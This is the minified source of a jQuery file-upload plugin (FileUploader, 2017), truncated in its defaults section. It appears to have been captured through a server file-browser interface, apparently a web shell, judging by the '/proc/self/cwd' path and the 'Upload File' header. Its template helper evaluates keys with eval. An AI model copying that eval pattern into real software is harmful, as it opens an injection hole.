/
proc
/
self
/
cwd
/
public
/
frontend
/
js
/
Upload File
HOME
/** * FileUploader * Copyright (c) 2017 Innostudio.de * Website: http://innostudio.de/fileuploader/ * Version: 1.0.0.4 (21-Apr-2017) * Requires: jQuery v1.7.1 or later * License: http://innostudio.de/fileuploader/documentation/#license */ !(function($) { "use strict"; ($.fn.fileuploader = function(q) { return this.each(function(t, r) { var s = $(r), p = null, o = null, l = null, sl = [], n = $.extend(!0, {}, $.fn.fileuploader.defaults, q), f = { init: function() { return ( s.closest(".fileuploader").length || s.wrap('<div class="fileuploader"></div>'), (p = s.closest(".fileuploader")), f.set("attrOpts"), f.isSupported() ? (!n.beforeRender || !$.isFunction(n.beforeRender) || !1 !== n.beforeRender(p, s)) && (f.redesign(), n.files && f.files.append(n.files), (f.rendered = !0), n.afterRender && $.isFunction(n.afterRender) && n.afterRender(l, p, o, s), void(f.disabled || f.bindUnbindEvents(!0))) : (n.onSupportError && $.isFunction(n.onSupportError) && n.onSupportError(p, s), !1) ); }, bindUnbindEvents: function(a) { a && f.bindUnbindEvents(!1), s[a ? "on" : "off"](f._assets.getAllEvents(), f.onEvent), n.changeInput && o !== s && o[a ? "on" : "off"]("click", f.clickHandler), n.dragDrop && n.dragDrop.container.length && (n.dragDrop.container[a ? "on" : "off"]("drag dragstart dragend dragover dragenter dragleave drop", function(a) { a.preventDefault(); }), n.dragDrop.container[a ? "on" : "off"]("drop", f.dragDrop.onDrop), n.dragDrop.container[a ? "on" : "off"]("dragover", f.dragDrop.onDragEnter), n.dragDrop.container[a ? "on" : "off"]("dragleave", f.dragDrop.onDragLeave)), f.isUploadMode() && n.clipboardPaste && $(window)[a ? "on" : "off"]("paste", f.clipboard.paste), s.closest("form")[a ? "on" : "off"]("reset", f.reset); }, redesign: function() { if (((o = s), n.theme && p.addClass("fileuploader-theme-" + n.theme), n.changeInput)) { switch ((typeof n.changeInput).toLowerCase()) { case "boolean": o = $( '<div class="fileuploader-input"><div class="fileuploader-input-caption"><span>' + f._assets.textParse(n.captions.feedback) + '</span></div><div class="fileuploader-input-button"><span>' + f._assets.textParse(n.captions.button) + "</span></div></div>" ); break; case "string": " " != n.changeInput && (o = $(f._assets.textParse(n.changeInput, n))); break; case "object": o = $(n.changeInput); break; case "function": o = $(n.changeInput(s, p, n, f._assets.textParse)); } s.after(o), s.css({ position: "absolute", "z-index": "-9999", height: "0", width: "0", padding: "0", margin: "0", "line-height": "0", outline: "0", border: "0", opacity: "0" }); } n.thumbnails && f.thumbnails.create(), n.dragDrop && ((n.dragDrop = "object" != typeof n.dragDrop ? { container: null } : n.dragDrop), (n.dragDrop.container = n.dragDrop.container ? $(n.dragDrop.container) : o)); }, clickHandler: function(a) { if ((a.preventDefault(), f.clipboard._timer)) return void f.clipboard.clean(); s.click(); }, onEvent: function(a) { switch (a.type) { case "focus": p && p.addClass("fileuploader-focused"); break; case "blur": p && p.removeClass("fileuploader-focused"); break; case "change": f.onChange.call(this); } n.listeners && $.isFunction(n.listeners[a.type]) && n.listeners[a.type].call(s, p); }, set: function(a, b) { switch (a) { case "attrOpts": for (var c = ["limit", "maxSize", "fileMaxSize", "extensions", "changeInput", "theme", "addMore", "listInput", "files"], d = 0; d < c.length; d++) { var e = "data-fileuploader-" + c[d]; if (f._assets.hasAttr(e)) switch (c[d]) { case "changeInput": case "addMore": case "listInput": n[c[d]] = ["true", "false"].indexOf(s.attr(e)) > -1 ? "true" == s.attr(e) : s.attr(e); break; case "extensions": n[c[d]] = s.attr(e).replace(/ /g, "").split(","); break; case "files": n[c[d]] = JSON.parse(s.attr(e)); break; default: n[c[d]] = s.attr(e); } s.removeAttr(e); } (null == s.attr("disabled") && null == s.attr("readonly") && 0 !== n.limit) || (f.disabled = !0), (!n.limit || (n.limit && n.limit >= 2)) && (s.attr("multiple", "multiple"), n.inputNameBrackets && "[]" != s.attr("name").slice(-2) && s.attr("name", s.attr("name") + "[]")), !0 === n.listInput && (n.listInput = $('<input type="hidden" name="fileuploader-list-' + s.attr("name").replace("[]", "").split("[").pop().replace("]", "") + '">').insertBefore(s)), "string" == typeof n.listInput && 0 == $(n.listInput).length && (n.listInput = $('<input type="hidden" name="' + n.listInput + '">').insertBefore(s)), f.set("disabled", f.disabled), !n.fileMaxSize && n.maxSize && (n.fileMaxSize = n.maxSize); break; case "disabled": (f.disabled = b), p[f.disabled ? "addClass" : "removeClass"]("fileuploader-disabled"), s[f.disabled ? "attr" : "removeAttr"]("disabled", "disabled"), f.rendered && f.bindUnbindEvents(!b); break; case "feedback": b || (b = f._assets.textParse(f._itFl.length > 0 ? n.captions.feedback2 : n.captions.feedback, { length: f._itFl.length })), $(!o.is(":file")) && o.find(".fileuploader-input-caption span").html(b); break; case "input": var g = f._assets.copyAllAttributes($('<input type="file">'), s, !0); f.bindUnbindEvents(!1), s.after((s = g)).remove(), f.bindUnbindEvents(!0); break; case "prevInput": sl.length > 0 && (f.bindUnbindEvents(!1), sl[b].remove(), sl.splice(b, 1), (s = sl[sl.length - 1]), f.bindUnbindEvents(!0)); break; case "nextInput": var g = f._assets.copyAllAttributes($('<input type="file">'), s); f.bindUnbindEvents(!1), sl.length > 0 && 0 == sl[sl.length - 1].get(0).files.length ? (s = sl[sl.length - 1]) : (-1 == sl.indexOf(s) && sl.push(s), sl.push(g), s.after((s = g))), f.bindUnbindEvents(!0); break; case "listInput": n.listInput && n.listInput.val(null === b ? f.files.list(!0) : b); } }, onChange: function(a, b) { var c = s.get(0).files; if (b) { if (!b.length) return f.set("input", ""), f.files.clear(), !1; c = b; } if ((f.clipboard._timer && f.clipboard.clean(), !f.isDefaultMode() || (f.reset(), 0 != c.length))) { if (n.beforeSelect && $.isFunction(n.beforeSelect) && 0 == n.beforeSelect(c, l, p, o, s)) return !1; for (var d = 0, e = 0; e < c.length; e++) { var g = c[e], h = f._itFl[f.files.add(g, "choosed")], i = f.files.check(h, c, 0 == e); if (!0 === i) n.thumbnails && f.thumbnails.item(h), f.isUploadMode() && f.upload.prepare(h), n.onSelect && $.isFunction(n.onSelect) && n.onSelect(h, l, p, o, s), d++; else if ((f.files.remove(h, !0), i[2] || (f.isDefaultMode() && (f.set("input", ""), f.reset(), (i[3] = !0)), i[1] && n.dialogs.alert(i[1])), i[3])) break; } f.isUploadMode() && d > 0 && f.set("input", ""), f.set("feedback", null), f.isAddMoreMode() && d > 0 && f.set("nextInput"), f.set("listInput", null), n.afterSelect && $.isFunction(n.afterSelect) && n.afterSelect(l, p, o, s); } }, thumbnails: { create: function() { null != n.thumbnails.beforeShow && $.isFunction(n.thumbnails.beforeShow) && n.thumbnails.beforeShow(p, o, s); var a = $(f._assets.textParse(n.thumbnails.box)).appendTo(n.thumbnails.boxAppendTo ? n.thumbnails.boxAppendTo : p); (l = a.is(n.thumbnails._selectors.list) ? a : a.find(n.thumbnails._selectors.list)), f.isUploadMode() && n.thumbnails._selectors.start && l.on("click", n.thumbnails._selectors.start, function(a) { if ((a.preventDefault(), f.locked)) return !1; var b = $(this).closest(n.thumbnails._selectors.item), c = f.files.find(b); c && f.upload.send(c, !0); }), f.isUploadMode() && n.thumbnails._selectors.retry && l.on("click", n.thumbnails._selectors.retry, function(a) { if ((a.preventDefault(), f.locked)) return !1; var b = $(this).closest(n.thumbnails._selectors.item), c = f.files.find(b); c && f.upload.retry(c); }), n.thumbnails._selectors.remove && l.on("click", n.thumbnails._selectors.remove, function(a) { if ((a.preventDefault(), f.locked)) return !1; var b = $(this).closest(n.thumbnails._selectors.item), c = f.files.find(b), d = function(a) { f.files.remove(c); }; c && (c.upload && "successful" != c.upload.status ? f.upload.cancel(c) : n.thumbnails.removeConfirmation ? n.dialogs.confirm(f._assets.textParse(n.captions.removeConfirmation, c), d) : d()); }); }, clear: function() { l && l.html(""); }, item: function(a) { (a.icon = f.thumbnails.generateFileIcon(a.format, a.extension)), (a.image = '<div class="fileuploader-item-image fileuploader-loading"></div>'), (a.progressBar = f.isUploadMode() ? '<div class="fileuploader-progressbar"><div class="bar"></div></div>' : ""), (a.html = $(f._assets.textParse(a.appended && n.thumbnails.item2 ? n.thumbnails.item2 : n.thumbnails.item, a, !0))), (a.progressBar = a.html.find(".fileuploader-progressbar")), a.html.addClass("file-type-" + (a.format ? a.format : "no") + " file-ext-" + (a.extension ? a.extension : "no")), a.html[n.thumbnails.itemPrepend ? "prependTo" : "appendTo"](l), (a.renderImage = function() { f.thumbnails.renderImage(a, !0); }), f.thumbnails.renderImage(a), null != n.thumbnails.onItemShow && $.isFunction(n.thumbnails.onItemShow) && n.thumbnails.onItemShow(a, l, p, o, s); }, generateFileIcon: function(a, b) { var c = '<div style="${style}" class="fileuploader-item-icon${class}"><i>' + (b || "") + "</i></div>", d = f._assets.textToColor(b); if (d) { f._assets.isBrightColor(d) && (c = c.replace("${class}", " is-bright-color")), (c = c.replace("${style}", "background-color: " + d)); } return c.replace("${style}", "").replace("${class}", ""); }, renderImage: function(a, b) { var c = a.html.find(".fileuploader-item-image"), d = function(b) { var d = $(b); d.is("img") && d.on("load error", function(b) { "error" == b.type && e(), g(), null != n.thumbnails.onImageLoaded && $.isFunction(n.thumbnails.onImageLoaded) && n.thumbnails.onImageLoaded(a, l, p, o, s); }), d.is("canvas") && null != n.thumbnails.onImageLoaded && $.isFunction(n.thumbnails.onImageLoaded) && n.thumbnails.onImageLoaded(a, l, p, o, s), c.removeClass("fileupload-no-thumbnail fileuploader-loading").html(d); }, e = function() { c.addClass("fileupload-no-thumbnail"), c.removeClass("fileuploader-loading").html(a.icon); }, g = function() { var b = 0; if (a && f._pfrL.indexOf(a) > -1) for (f._pfrL.splice(f._pfrL.indexOf(a), 1); b < f._pfrL.length;) { if (f._itFl.indexOf(f._pfrL[b]) > -1) { f.thumbnails.renderImage(f._pfrL[b], !0); break; } f._pfrL.splice(b, 1), b++; } }; if (!c.length) return void g(); if (((a.image = c), "image" == a.format && f.isFileReaderSupported() && (a.appended || n.thumbnails.startImageRenderer || b))) { if (n.thumbnails.synchronImages && (-1 != f._pfrL.indexOf(a) || b || f._pfrL.push(a), f._pfrL.length > 1 && !b)) return; var h = new FileReader(), i = function(a) { if (n.thumbnails.canvasImage) { var b = document.createElement("canvas"), h = b.getContext("2d"), i = new Image(); (i.onload = function() { var a = n.thumbnails.canvasImage.height ? n.thumbnails.canvasImage.height : c.height(), j = n.thumbnails.canvasImage.width ? n.thumbnails.canvasImage.width : c.width(), k = i.height / a, l = i.width / j, m = k < l ? k : l, o = i.height / m, p = i.width / m, q = Math.ceil(Math.log(i.width / p) / Math.log(2)); if (((b.height = a), (b.width = j), i.width < b.width || i.height < b.height || q <= 1)) { var r = i.width < b.width ? b.width / 2 - i.width / 2 : i.width > b.width ? -(i.width - b.width) / 2 : 0, s = i.height < b.height ? b.height / 2 - i.height / 2 : 0; h.drawImage(i, r, s, i.width, i.height); } else { var t = document.createElement("canvas"), u = t.getContext("2d"); (t.width = 0.5 * i.width), (t.height = 0.5 * i.height), (u.fillStyle = "#fff"), u.fillRect(0, 0, t.width, t.height), u.drawImage(i, 0, 0, t.width, t.height), u.drawImage(t, 0, 0, 0.5 * t.width, 0.5 * t.height), h.drawImage(t, p > b.width ? p - b.width : 0, 0, 0.5 * t.width, 0.5 * t.height, 0, 0, p, o); } (i = null), f._assets.isBlankCanvas(b) ? e() : d(b), g(); }), (i.onerror = function(a) { e(), g(); }), (i.src = a.target.result); } else d('<img src="' + a.target.result + '" draggable="false">'); }; return void("string" == typeof a.file ? i({ target: { result: a.file } }) : ((h.onload = i), h.readAsDataURL(a.file))); } e(); }, }, upload: { prepare: function(a, b) { (a.upload = { url: n.upload.url, data: n.upload.data || {}, formData: new FormData(), type: n.upload.type || "POST", enctype: n.upload.enctype || "multipart/form-data", cache: !1, contentType: !1, processData: !1, status: null, send: function() { f.upload.send(a, !0); }, cancel: function() { f.upload.cancel(a); }, retry: function() { f.upload.retry(a); }, }), a.upload.formData.append(s.attr("name"), a.file, !!a.name && a.name), (n.upload.start || b) && f.upload.send(a, b); }, send: function(a, b) { if (a.upload) { var c = function(b) { a.html.removeClass("upload-pending upload-loading upload-cancelled upload-failed upload-success").addClass("upload-" + (b || a.upload.status)); }, d = function() { var b = 0; if (f._pfuL.length > 0) for (f._pfuL.indexOf(a) > -1 && f._pfuL.splice(f._pfuL.indexOf(a), 1); b < f._pfuL.length;) { if (f._itFl.indexOf(f._pfuL[b]) > -1 && f._pfuL[b].upload && !f._pfuL[b].upload.$ajax) { f.upload.send(f._pfuL[b], !0); break; } f._pfuL.splice(b, 1), b++; } }; if (n.upload.synchron) if (((a.upload.status = "pending"), a.html && c(), b)) f._pfuL.indexOf(a) > -1 && f._pfuL.splice(f._pfuL.indexOf(a), 1); else if ((-1 == f._pfuL.indexOf(a) && f._pfuL.push(a), f._pfuL.length > 1)) return; if (n.upload.beforeSend && $.isFunction(n.upload.beforeSend) && !1 === n.upload.beforeSend(a, l, p, o, s)) return c(), void d(); if ( (p.addClass("fileuploader-is-uploading"), a.upload.$ajax && a.upload.$ajax.abort(), delete a.upload.$ajax, delete a.upload.send, (a.upload.status = "loading"), a.html && (n.thumbnails._selectors.start && a.html.find(n.thumbnails._selectors.start).remove(), c()), a.upload.data) ) for (var e in a.upload.data) a.upload.formData.append(e, a.upload.data[e]); (a.upload.data = a.upload.formData), (a.upload.xhr = function() { var b = $.ajaxSettings.xhr(), c = new Date(); return ( b.upload && b.upload.addEventListener( "progress", function(b) { f.upload.progressHandling(b, a, c); }, !1 ), b ); }), (a.upload.complete = function(a, b) { d(); var c = !0; $.each(f._itFl, function(a, b) { b.upload && b.upload.$ajax && (c = !1); }), c && (p.removeClass("fileuploader-is-uploading"), null != n.upload.onComplete && "function" == typeof n.upload.onComplete && n.upload.onComplete(l, p, o, s, a, b)); }), (a.upload.success = function(b, d, e) { (a.uploaded = !0), delete a.upload, (a.upload = { status: "successful" }), a.html && c(), f.set("listInput", null), null != n.upload.onSuccess && $.isFunction(n.upload.onSuccess) && n.upload.onSuccess(b, a, l, p, o, s, d, e); }), (a.upload.error = function(b, d, e) { (a.uploaded = !1), (a.upload.status = "cancelled" == a.upload.status ? a.upload.status : "failed"), delete a.upload.$ajax, a.html && c(), null != n.upload.onError && $.isFunction(n.upload.onError) && n.upload.onError(a, l, p, o, s, b, d, e); }), (a.upload.$ajax = $.ajax(a.upload)); } }, cancel: function(a) { a && a.upload && ((a.upload.status = "cancelled"), a.upload.$ajax && a.upload.$ajax.abort(), delete a.upload.$ajax, f.files.remove(a)); }, retry: function(a) { a && a.upload && (a.html && n.thumbnails._selectors.retry && a.html.find(n.thumbnails._selectors.retry).remove(), f.upload.prepare(a, !0)); }, progressHandling: function(a, b, c) { if (a.lengthComputable) { var d = a.loaded, e = a.total, g = Math.round((100 * d) / e), h = (new Date().getTime() - c.getTime()) / 1e3, i = h ? d / h : 0, j = e - d, k = h ? j / i : null, m = { loaded: d, loadedInFormat: f._assets.bytesToText(d), total: e, totalInFormat: f._assets.bytesToText(e), percentage: g, secondsElapsed: h, secondsElapsedInFormat: f._assets.secondsToText(h, !0), bytesPerSecond: i, bytesPerSecondInFormat: f._assets.bytesToText(i) + "/s", remainingBytes: j, remainingBytesInFormat: f._assets.bytesToText(j), secondsRemaining: k, secondsRemainingInFormat: f._assets.secondsToText(k, !0), }; n.upload.onProgress && $.isFunction(n.upload.onProgress) && n.upload.onProgress(m, b, l, p, o, s); } }, }, dragDrop: { onDragEnter: function(a) { clearTimeout(f.dragDrop._timer), n.dragDrop.container.addClass("fileuploader-dragging"), f.set("feedback", f._assets.textParse(n.captions.drop)), null != n.dragDrop.onDragEnter && $.isFunction(n.dragDrop.onDragEnter) && n.dragDrop.onDragEnter(a, l, p, o, s); }, onDragLeave: function(a) { clearTimeout(f.dragDrop._timer), (f.dragDrop._timer = setTimeout( function(a) { if (!f.dragDrop._dragLeaveCheck(a)) return !1; n.dragDrop.container.removeClass("fileuploader-dragging"), f.set("feedback", null), null != n.dragDrop.onDragLeave && $.isFunction(n.dragDrop.onDragLeave) && n.dragDrop.onDragLeave(a, l, p, o, s); }, 100, a )); }, onDrop: function(a) { clearTimeout(f.dragDrop._timer), n.dragDrop.container.removeClass("fileuploader-dragging"), f.set("feedback", null), a && a.originalEvent && a.originalEvent.dataTransfer && a.originalEvent.dataTransfer.files && a.originalEvent.dataTransfer.files.length && (f.isUploadMode() ? f.onChange(a, a.originalEvent.dataTransfer.files) : s.prop("files", a.originalEvent.dataTransfer.files)), null != n.dragDrop.onDrop && $.isFunction(n.dragDrop.onDrop) && n.dragDrop.onDrop(a, l, p, o, s); }, _dragLeaveCheck: function(a) { var c, b = $(a.currentTarget); return !(!b.is(n.dragDrop.container) && ((c = n.dragDrop.container.find(b)), c.length)); }, }, clipboard: { paste: function(a) { if (f._assets.isIntoView(o) && a.originalEvent.clipboardData && a.originalEvent.clipboardData.items && a.originalEvent.clipboardData.items.length) { var b = a.originalEvent.clipboardData.items; f.clipboard.clean(); for (var c = 0; c < b.length; c++) if (-1 !== b[c].type.indexOf("image") || -1 !== b[c].type.indexOf("text/uri-list")) { var d = b[c].getAsFile(), e = new Date(), g = function(a) { return a < 10 && (a = "0" + a), a; }, h = n.clipboardPaste > 1 ? n.clipboardPaste : 2e3; d && ((d._name = "Clipboard " + e.getFullYear() + "-" + g(e.getMonth() + 1) + "-" + g(e.getDate()) + " " + g(e.getHours()) + "-" + g(e.getMinutes()) + "-" + g(e.getSeconds())), (d._name += -1 != d.type.indexOf("/") ? "." + d.type.split("/")[1].toString().toLowerCase() : ".png"), f.set("feedback", f._assets.textParse(n.captions.paste, { ms: h / 1e3 })), (f.clipboard._timer = setTimeout(function() { f.set("feedback", null), f.onChange(a, [d]); }, h - 2))); } } }, clean: function() { f.clipboard._timer && (clearTimeout(f.clipboard._timer), delete f.clipboard._timer, f.set("feedback", null)); }, }, files: { add: function(a, b) { var l, m, c = a.name, d = a.size, e = f._assets.bytesToText(d), g = a.type, h = g ? g.split("/", 1).toString().toLowerCase() : "", i = -1 != c.indexOf(".") ? c.split(".").pop().toLowerCase() : "", j = c.substr(0, c.length - (-1 != c.indexOf(".") ? i.length + 1 : i.length)), k = a.data, a = a.file || a; return ( f._itFl.push({ name: c, title: j, size: d, size2: e, type: g, format: h, extension: i, data: k, file: a, input: "choosed" == b ? s : null, html: null, upload: null, choosed: "choosed" == b, appended: "appended" == b, uploaded: "uploaded" == b, }), (l = f._itFl.length - 1), (m = f._itFl[l]), (m.remove = function() { f.files.remove(m); }), l ); }, list: function(a, b, c) { var d = []; return ( $.each(f._itFl, function(c, e) { if (!e.upload || e.uploaded) { var g = e; (a || b) && (g = (g.choosed ? "0:/" : "") + (b && null !== f.files.getItemAttr(e, b) ? f.files.getItemAttr(e, b) : e["string" == typeof e.file ? "file" : "name"])), d.push(g); } }), (d = n.onListInput && $.isFunction(n.onListInput) && !c ? n.onListInput(f._itFl, n.listInput, l, p, o, s) : d), a ? JSON.stringify(d) : d ); }, check: function(a, b, c) { var d = ["warning", null, !1, !1]; if (null != n.limit && c && b.length + f._itFl.length - 1 > n.limit) return (d[1] = f._assets.textParse(n.captions.errors.filesLimit)), (d[3] = !0), d; if (null != n.maxSize && c) { var e = 0; if ( ($.each(f._itFl, function(a, b) { e += b.size; }), (e -= a.size), $.each(b, function(a, b) { e += b.size; }), e > Math.round(1e6 * n.maxSize)) ) return (d[1] = f._assets.textParse(n.captions.errors.filesSizeAll)), (d[3] = !0), d; } if (null != n.onFilesCheck && $.isFunction(n.onFilesCheck) && c) { if (!1 === n.onFilesCheck(b, n, l, p, o, s)) return (d[3] = !0), d; } if (null != n.extensions && -1 == $.inArray(a.extension, n.extensions) && -1 == $.inArray(a.type, n.extensions)) return (d[1] = f._assets.textParse(n.captions.errors.filesType, a)), d; if (null != n.fileMaxSize && a.size > 1e6 * n.fileMaxSize) return (d[1] = f._assets.textParse(n.captions.errors.fileSize, a)), d; if (4096 == a.size && "" == a.type) return (d[1] = f._assets.textParse(n.captions.errors.folderUpload, a)), d; var e = !1; return ( $.each(f._itFl, function(b, c) { if (c != a && 1 == c.choosed && c.file && c.file.name == a.name) return ( (e = !0), c.file.size != a.size || c.file.type != a.type || (a.file.lastModified && c.file.lastModified && c.file.lastModified != a.file.lastModified) ? ((d[1] = f._assets.textParse(n.captions.errors.fileName, a)), (d[2] = !1)) : (d[2] = !0), !1 ); }), !e || d ); }, append: function(a) { if (((a = $.isArray(a) ? a : [a]), a.length)) { for (var b, c = 0; c < a.length; c++)(b = f._itFl[f.files.add(a[c], "appended")]), n.thumbnails && f.thumbnails.item(b); return f.set("feedback", null), f.set("listInput", null), n.afterSelect && $.isFunction(n.afterSelect) && n.afterSelect(l, p, o, s), 1 != a.length || b; } }, find: function(a) { var b = null; return ( $.each(f._itFl, function(c, d) { if (d.html && d.html.is(a)) return (b = d), !1; }), b ); }, remove: function(a, b) { if (b || !n.onRemove || !$.isFunction(n.onRemove) || !1 !== n.onRemove(a, l, p, o, s)) { if ( (a.html && (n.thumbnails.onItemRemove && $.isFunction(n.thumbnails.onItemRemove) && !b ? n.thumbnails.onItemRemove(a.html, l, p, o, s) : a.html.remove()), a.upload && a.upload.$ajax && a.upload.cancel && a.upload.cancel(), a.input) ) { var c = !0; $.each(f._itFl, function(d, e) { if (a != e && (a.input == e.input || (b && a.input.get(0).files.length > 1))) return (c = !1), !1; }), c && (f.isAddMoreMode() && sl.length > 1 ? (sl.splice(sl.indexOf(a.input), 1), a.input.remove(), f.set("nextInput")) : f.set("input", "")); } f._pfrL.indexOf(a) > -1 && f._pfrL.splice(f._pfrL.indexOf(a), 1), f._pfuL.indexOf(a) > -1 && f._pfuL.splice(f._pfuL.indexOf(a), 1), f._itFl.indexOf(a) > -1 && f._itFl.splice(f._itFl.indexOf(a), 1), (a = null), 0 == f._itFl.length && f.reset(), f.set("feedback", null), f.set("listInput", null); } }, getItemAttr: function(a, b) { var c = null; return a && (void 0 !== a[b] ? (c = a[b]) : a.data && void 0 !== a.data[b] && (c = a.data[b])), c; }, clear: function(a) { for (var b = 0; b < f._itFl.length;) { var c = f._itFl[b]; a || !c.appended ? (c.html && c.html && f._itFl[b].html.remove(), c.upload && c.upload.$ajax && f.upload.cancel(c), f._itFl.splice(b, 1)) : b++; } f.set("feedback", null), f.set("listInput", null), 0 == f._itFl.length && n.onEmpty && $.isFunction(n.onEmpty) && n.onEmpty(l, p, o, s); }, }, reset: function(a) { a && (f.clipboard._timer && f.clipboard.clean(), $.each(sl, function(a, b) { a < sl.length && b.remove(); }), (sl = []), f.set("input", "")), (f._itRl = []), (f._pfuL = []), (f._pfrL = []), f.files.clear(a); }, destroy: function() { f.reset(!0), f.bindUnbindEvents(!1), s.removeAttr("style"), s.insertBefore(".fileuploader"), s.prop("FileUploader", null), p.remove(), (p = o = l = null); }, _assets: { bytesToText: function(a) { if (0 == a) return "0 Byte"; var b = 1e3, c = ["Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"], d = Math.floor(Math.log(a) / Math.log(b)); return (a / Math.pow(b, d)).toPrecision(3) + " " + c[d]; }, secondsToText: function(a, b) { a = parseInt(Math.round(a), 10); var c = Math.floor(a / 3600), d = Math.floor((a - 3600 * c) / 60), a = a - 3600 * c - 60 * d, e = ""; return (c > 0 || !b) && (e += (c < 10 ? "0" : "") + c + (b ? "h " : ":")), (d > 0 || !b) && (e += (d < 10 && !b ? "0" : "") + d + (b ? "m " : ":")), (e += (a < 10 && !b ? "0" : "") + a + (b ? "s" : "")); }, hasAttr: function(a, b) { var b = b || s, c = b.attr(a); return !(!c || void 0 === c); }, copyAllAttributes: function(a, b) { return ( $.each(b.get(0).attributes, function() { "required" != this.name && "type" != this.name && a.attr(this.name, this.value); }), b.get(0).FileUploader && (a.get(0).FileUploader = b.get(0).FileUploader), a ); }, getAllEvents: function(a) { var a = a || s, b = []; a = a.get ? a.get(0) : a; for (var c in a) 0 === c.indexOf("on") && b.push(c.slice(2)); return -1 == b.indexOf("change") && b.push("change"), b.join(" "); }, isIntoView: function(a) { var b = $(window).scrollTop(), c = b + window.innerHeight, d = a.offset().top, e = d + a.outerHeight(); return b < d && c > e; }, isBlankCanvas: function(a) { var b = document.createElement("canvas"), c = !1; return (b.width = a.width), (b.height = a.height), (c = a.toDataURL() == b.toDataURL()), (b = null), c; }, textParse: function(text, opts, noOptions) { switch (((opts = noOptions ? opts || {} : $.extend({}, { limit: n.limit, maxSize: n.maxSize, fileMaxSize: n.fileMaxSize, extensions: n.extensions ? n.extensions.join(", ") : null }, opts)), typeof text)) { case "string": text = text.replace(/\$\{(.*?)\}/g, function(match, a) { var a = a.replace(/ /g, ""), r = void 0 !== opts[a] && null != opts[a] ? opts[a] : ""; if (a.indexOf(".") > -1 || a.indexOf("[]") > -1) { var x = a.substr(0, a.indexOf(".") > -1 ? a.indexOf(".") : a.indexOf("[") > -1 ? a.indexOf("[") : a.length), y = a.substring(x.length); if (opts[x]) try { r = eval('opts["' + x + '"]' + y); } catch (a) { r = ""; } } return (r = $.isFunction(r) ? f._assets.textParse(r) : r) || ""; }); break; case "function": text = text(opts, l, p, o, s); } return (opts = null), text; }, textToColor: function(a) { if (!a || 0 == a.length) return !1; for (var b = 0, c = 0; b < a.length; c = a.charCodeAt(b++) + ((c << 5) - c)); for (var b = 0, d = "#"; b < 3; d += ("00" + ((c >> (2 * b++)) & 255).toString(16)).slice(-2)); return d; }, isBrightColor: function(a) { var b = function(a) { var b; return a && a.constructor == Array && 3 == a.length ? a : (b = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(a)) ? [parseInt(b[1]), parseInt(b[2]), parseInt(b[3])] : (b = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(a)) ? [2.55 * parseFloat(b[1]), 2.55 * parseFloat(b[2]), 2.55 * parseFloat(b[3])] : (b = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(a)) ? [parseInt(b[1], 16), parseInt(b[2], 16), parseInt(b[3], 16)] : (b = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(a)) ? [parseInt(b[1] + b[1], 16), parseInt(b[2] + b[2], 16), parseInt(b[3] + b[3], 16)] : "undefined" != typeof colors ? colors[$.trim(a).toLowerCase()] : null; }; return ( (function(a) { var c = b(a); return c ? 0.2126 * c[0] + 0.7152 * c[1] + 0.0722 * c[2] : null; })(a) > 194 ); }, }, isSupported: function() { return s && s.get(0).files; }, isFileReaderSupported: function() { return window.File && window.FileList && window.FileReader; }, isDefaultMode: function() { return !n.upload && !n.addMore; }, isAddMoreMode: function() { return !n.upload && n.addMore; }, isUploadMode: function() { return n.upload; }, _itFl: [], _pfuL: [], _pfrL: [], disabled: !1, locked: !1, rendered: !1, }; return ( n.enableApi && s.prop("FileUploader", { open: function() { s.trigger("click"); }, getOptions: function() { return n; }, getParentEl: function() { return p; }, getInputEl: function() { return s; }, getNewInputEl: function() { return o; }, getListEl: function() { return l; }, getListInputEl: function() { return n.listInput; }, getFiles: function() { return f._itFl; }, getChoosedFiles: function() { return f._itFl.filter(function(a) { return a.choosed; }); }, getAppendedFiles: function() { return f._itFl.filter(function(a) { return a.appended; }); }, getUploadedFiles: function() { return f._itFl.filter(function(a) { return a.uploaded; }); }, getFileList: function(a, b) { return f.files.list(a, b, !0); }, setOption: function(a, b) { return (n[a] = b), !0; }, findFile: function(a) { return f.files.find(a); }, append: function(a) { return f.files.append(a); }, remove: function(a) { return (a = a.jquery ? f.files.find(a) : a), f._itFl.indexOf(a) > -1 && (f.files.remove(a), !0); }, reset: function() { return f.reset(!0), !0; }, disable: function(a) { return f.set("disabled", !0), a && (f.locked = !0), !0; }, enable: function() { return f.set("disabled", !1), (f.locked = !1), !0; }, destroy: function() { return f.destroy(), !0; }, isEmpty: function() { return 0 == f._itFl.length; }, isDisabled: function() { return f.disabled; }, isRendered: function() { return f.rendered; }, assets: f._assets, getPluginMode: function() { return f.isDefaultMode() ? "default" : f.isAddMoreMode() ? "addMore" : f.isUploadMode() ? "upload" : void 0; }, }), f.init(), this ); }); }), (window.$.fileuploader = { getInstance: function(a) { return (a.prop ? a : $(a)).prop("FileUploader"); }, }), ($.fn.fileuploader.defaults = { limit: null, maxSize: null, fileMaxSize: null, extensions: null, changeInput: !0, inputNameBrackets: !0, theme: "default", thumbnails: { box: '<div class="fileuploader-items"><ul class="fileuploader-items-list"></ul></div>', boxAppendTo: null, item: '<li class="fileuploader-item"><div class="columns"><div class="column-thumbnail">${image}</div><div class="column-title"><div title="${name}">${name}</div><span>${size2}</span></div><div class="column-actions"><a class="fileuploader-action fileuploader-action-remove" title="Remove"><i></i></a></div></div><div class="progress-bar2">${progressBar}<span></span></div></li>', item2: '<li class="fileuploader-item"><div class="columns"><a href="${file}" target="_blank"><div class="column-thumbnail">${image}</div><div class="column-title"><div title="${name}">${name}</div><span>${size2}</span></div></a><div class="column-actions"><a href="${file}" class="fileuploader-action fileuploader-action-download" title="Download" download><i></i></a><a class="fileuploader-action fileuploader-action-remove" title="Remove"><i></i></a></div></div></li>', itemPrepend: !1, removeConfirmation: !0, startImageRenderer: !0, synchronImages: !0, canvasImage: !0, _selectors: { list: ".fileuploader-items-list", item: ".fileuploader-item", start: ".fileuploader-action-start", retry: ".fileuploader-action-retry", remove: ".fileuploader-action-remove" }, beforeShow: null, onItemShow: null, onItemRemove: function(a) { a.children().animate({ opacity: 0 }, 200, function() { setTimeout(function() { a.slideUp(200, function() { a.remove(); 